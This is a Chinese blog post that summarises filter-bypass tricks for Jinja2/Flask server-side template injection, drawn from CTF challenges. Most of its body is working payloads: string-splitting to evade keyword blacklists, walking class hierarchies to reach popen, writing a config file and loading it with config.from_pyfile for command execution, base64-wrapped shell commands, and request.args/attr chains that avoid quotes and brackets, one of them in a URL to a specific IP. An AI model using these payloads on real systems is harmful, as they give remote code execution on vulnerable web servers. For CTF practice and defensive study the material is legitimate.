渗透安全

SSTI bypass 总结

2019-12-03  本文已影响0人  byc_404

寒假前最后一篇文章
说来也巧,前两天在ichunqiu上连续做了两道题居然都是模板注入。搜索资料之余也涨了不少见识,下面总结下这类题目的bypass技巧:(感谢各位dalao们的文章)

从这位dalao的wp中学习到的:
https://evi0s.com/2018/11/26/%E6%B7%B1%E5%85%A5ssti-%E4%BB%8Enctf2018%E4%B8%A4%E9%81%93flask%E7%9C%8Bbypass%E6%96%B0%E5%A7%BF%E5%8A%BF/

先拿去年校赛的SSTI源码中的黑名单看看:

 blacklist = ['import','getattr','os','class','subclasses','mro','request','args','eval','if','for',' subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals']

做这类题目最要命的是什么?当然是限制类的访问,再进一步的话,对os的限制让我们不能轻易进行文件读取。

所以有了以下一个绕掉限制类的方法:

{{ session['__cla'+'ss__'] }}

首先由于session是dict对象,使我们可以通过键名来访问类。时候只需要一直访问基类即可回到ssti的常规payload上去。

{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0] }}.['__subcla'+'ss__']()

到这一步没有问题的话,就大有可为了。因为可以从回显的子类中挑选自己需要的类去进行后续操作。
之前看dalao的wp中总结的非常到位:

SSTI目的无非就是两个:文件读写、getshell。因此我们核心应该放在file类和os类

然后通过实例化后全局变量这一宝藏来进行文件读取。

.__init__.__globals__['po'+'pen']('ls /').read() 

当然,像上面这种绕过还算友好。而做到ichunqiu中的FUZZ时,自己发现,实例化后到globals这一步就利用不了了,极有可能连globals关键字都waf了。

那么有没有方法不去调用globals(相当于放弃直接执行函数)进行getshell呢?有,而且是一个非常出色的利用:
参考下面这篇文章
https://www.freebuf.com/articles/web/98928.html
步骤:
1、注入

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

这将向远程服务器写入一个文件,当编译完成为subprocess模块引入check_output方法,并将其设置指向变量RUNCMD

{{ config.from_pyfile('/tmp/owned.cfg') }}

触发编译进程,向config对象添加一个新项

{{ config['RUNCMD']('id(操作)',shell=True) }}

达到命令执行的效用。
其中如果为了应付过滤的话,操作就变得多样了起来,比如利用管道符加上base64编码可以绕过检查,执行ls -la

{{config['RUNCMD']('`echo bHMgLWxh|base64 -d`',shell=True)}}

当然,如果不做到限制globals这么绝,但还是过滤了标点或者少部分关键字的话,我们还是可以用其它相对高级的方法绕过的:
以常规paylaod为例:

''.__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()

假如过滤了引号,那么从开始的第一对引号不能用,从os开始的引号也不能用。
第一种绕过很简单,就是找代替。第一个引号的作用为了引出基类,而任何数据结构都可以引出基类,所以这里可以直接使用数组代替.使用[]
而后面的os的代替可以使用request.args,它存储着请求参数以及其值的字典

参考下文
https://cloud.tencent.com/developer/article/1520397

http://152.136.21.148:5317/render?data={{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()}}&x1=__class__&x2=__base__&x3=__subclasses__
{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(233)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").system("ls")

完全杜绝了标点的使用。达到了注入的效果。

如果过滤中括号,则可以pop/getitem等数组自带方法。比如

"".__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(300).__init__.__globals__["os"]["popen"]("whoami").read()

大抵上如此。
这段时间因为马上准备复习期末了,所以不会再更新文章或者参加比赛。好好沉淀一下吧。

上一篇 下一篇

猜你喜欢

热点阅读